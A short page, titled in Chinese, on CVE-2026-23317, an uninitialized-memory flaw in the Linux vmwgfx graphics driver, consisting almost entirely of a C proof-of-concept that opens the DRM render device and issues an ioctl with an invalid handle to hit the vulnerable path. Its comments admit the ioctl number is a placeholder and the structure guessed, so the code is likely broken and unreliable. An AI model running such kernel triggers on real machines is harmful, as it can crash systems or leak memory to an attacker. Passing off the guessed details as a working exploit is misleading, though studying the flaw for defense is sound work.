CVE-2026-23317 Linux内核vmwgfx驱动未初始化内存访问漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> /* * PoC for CVE-2026-23317 * This is a conceptual trigger for the vmw_translate_ptr vulnerability. * It attempts to interact with the vmwgfx device to trigger the faulty path. */ #define DRM_IOCTL_VMW_TRANSLATE_PTR 0x64 // Example IOCTL placeholder int main() { int fd; // Open the DRM device, typically /dev/dri/renderD128 or card0 for vmwgfx fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } // Construct a request that might trigger the vulnerable code path. // The exact structure depends on the driver's internal definitions. struct drm_vmw_translate_ptr_arg { uint32_t handle; uint32_t pad64; uint64_t ptr; // Output pointer that becomes uninitialized } arg; arg.handle = 0xDEADBEEF; // Invalid handle to force lookup failure // Invoke the IOCTL if (ioctl(fd, DRM_IOCTL_VMW_TRANSLATE_PTR, &arg) != 0) { perror("IOCTL failed"); } else { printf("IOCTL succeeded (potentially exploiting uninitialized return)\n"); } close(fd); return 0; }